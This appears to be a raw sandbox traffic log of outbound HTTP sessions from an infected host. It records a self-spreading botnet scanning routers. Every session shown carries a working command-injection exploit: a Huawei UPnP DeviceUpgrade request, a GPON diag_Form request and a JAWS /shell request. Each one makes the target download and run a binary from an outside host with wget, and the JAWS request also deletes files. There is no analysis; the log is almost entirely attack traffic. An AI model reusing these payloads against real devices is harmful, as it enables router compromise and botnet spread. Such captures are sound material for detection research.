Session ID	Source IP	Source Port	Destination IP	Destination Port
1400	192.168.2.13	40690	156.241.90.3	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.017271042 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1401	192.168.2.13	37830	123.31.25.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.083987951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1402	192.168.2.13	54548	118.189.125.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.084018946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1403	192.168.2.13	44612	37.113.91.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.084034920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1404	192.168.2.13	55424	210.131.68.49	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.084072113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1405	192.168.2.13	51380	5.139.12.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.084134102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1406	192.168.2.13	37884	79.73.196.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.084157944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1407	192.168.2.13	43718	117.86.62.95	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.084178925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1408	192.168.2.13	51726	38.38.113.178	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.222902060 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.394234896 CEST	202	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Sun, 14 Apr 2024 02:00:54 GMT Data Raw: 33 0d 0a ef bb bf 0d 0a Data Ascii: 3
Apr 14, 2024 04:01:02.394273043 CEST	109	IN	Data Raw: 35 62 0d 0a e5 bd 93 e5 89 8d e5 9f 9f e5 90 8d e6 88 96 e8 80 85 e7 ab af e5 8f a3 e6 9c aa e7 bb 91 e5 ae 9a 2c e8 af b7 e5 88 b0 e5 90 8e e5 8f b0 e7 bb 91 e5 ae 9a ef bc 8c e8 af a5 e6 b6 88 e6 81 af e5 8f af e4 bb a5 e5 9c a8 e5 90 8e e5 8f Data Ascii: 5b,
Apr 14, 2024 04:01:02.394311905 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1409	192.168.2.13	57790	156.241.99.154	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.368798018 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:06.408232927 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.552212000 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:24.584338903 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:48.648148060 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1410	192.168.2.13	50492	82.223.21.137	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.380372047 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.717330933 CEST	427	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 14 Apr 2024 02:01:02 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1411	192.168.2.13	46128	92.255.78.26	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.407725096 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.765130997 CEST	359	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.20.2 Date: Sun, 14 Apr 2024 02:01:02 GMT Content-Type: text/html Content-Length: 145 Connection: keep-alive Location: http://127.0.0.1/index.html Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1412	192.168.2.13	40218	103.208.141.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.412507057 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.775698900 CEST	137	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 00:57:05 GMT Server: cisco-IOS Connection: close Accept-Ranges: none Data Raw: 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a Data Ascii: 404 Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1413	192.168.2.13	56302	154.86.229.116	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.689671040 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1414	192.168.2.13	40374	5.150.254.149	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.699129105 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:03.029865026 CEST	1176	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 01:59:31 GMT Server: Apache/2.2.15 (CentOS) Last-Modified: Wed, 15 Jan 2014 20:49:22 GMT ETag: "51a821-377-4f00871883880" Accept-Ranges: bytes Content-Length: 887 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 3e 0a 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 31 30 30 25 20 68 65 69 67 68 74 3d 31 30 30 25 3e 0a 3c 74 72 3e 0a 09 3c 74 64 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 30 20 77 69 64 74 68 3d 33 30 30 3e 0a 09 3c 74 72 3e 3c 74 64 20 62 67 63 6f 6c 6f 72 3d 23 30 30 30 30 30 30 3e 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 33 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 20 77 69 64 74 68 3d 33 30 30 3e 0a 09 3c 74 72 3e 0a 09 09 3c 74 64 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 20 62 67 63 6f 6c 6f 72 3d 23 46 46 30 30 30 30 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 46 46 46 46 46 46 20 66 61 63 65 3d 27 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 27 20 73 69 7a 65 3d 32 3e 3c 62 3e 49 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 09 3c 74 72 3e 0a 09 09 3c 74 64 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 20 62 67 63 6f 6c 6f 72 3d 23 46 46 46 46 46 46 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 46 46 30 30 30 30 20 66 61 63 65 3d 27 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 27 20 73 69 7a 65 3d 32 3e 3c 62 3e 41 63 63 6f 75 6e 74 20 64 69 73 61 62 6c 65 64 20 62 79 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 09 3c 2f 74 61 62 6c 65 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 0a 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 69 73 70 73 79 73 74 65 6d 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 22 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 30 30 30 30 30 30 20 66 61 63 65 3d 27 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 27 20 73 69 7a 65 3d 31 3e 26 63 6f 70 79 3b 20 49 53 50 6d 61 6e 61 67 65 72 20 63 6f 6e 74 72 6f 6c 20 70 61 6e 65 6c 3c 2f 66 6f 6e 74 3e 3c 2f 61 3e 0a 09 3c 2f 74 64 3e 0a 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><body bgcolor="#FFFFFF"><table border=0 width=100% height=100%><tr><td align=center><table border=0 cellpadding=0 cellspacing=0 width=300><tr><td bgcolor=#000000><table border=0 cellpadding=3 cellspacing=1 width=300><tr><td align=center bgcolor=#FF0000><font color=#FFFFFF face='Verdana, Arial, Helvetica, sans-serif' size=2><b>Information</b></font></td></tr><tr><td align=center bgcolor=#FFFFFF><font color=#FF0000 face='Verdana, Arial, Helvetica, sans-serif' size=2><b>Account disabled by server administrator.</b></font></td></tr></table></td></tr></table><a href="http://ispsystem.com" target="_blank" style="text-decoration: none;"><font color=#000000 face='Verdana, Arial, Helvetica, sans-serif' size=1>© ISPmanager control panel</font></a></td></tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1415	192.168.2.13	48196	199.190.47.23	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.730808973 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1416	192.168.2.13	49864	199.67.121.162	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:03.285948992 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:03.524241924 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:03 GMT Server: Apache/2.4.38 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1417	192.168.2.13	42510	185.103.117.76	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:03.822454929 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.130669117 CEST	336	IN	HTTP/1.1 404 Not Found Server: nginx/1.10.3 Date: Sun, 14 Apr 2024 02:01:03 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1418	192.168.2.13	51604	45.145.88.5	80

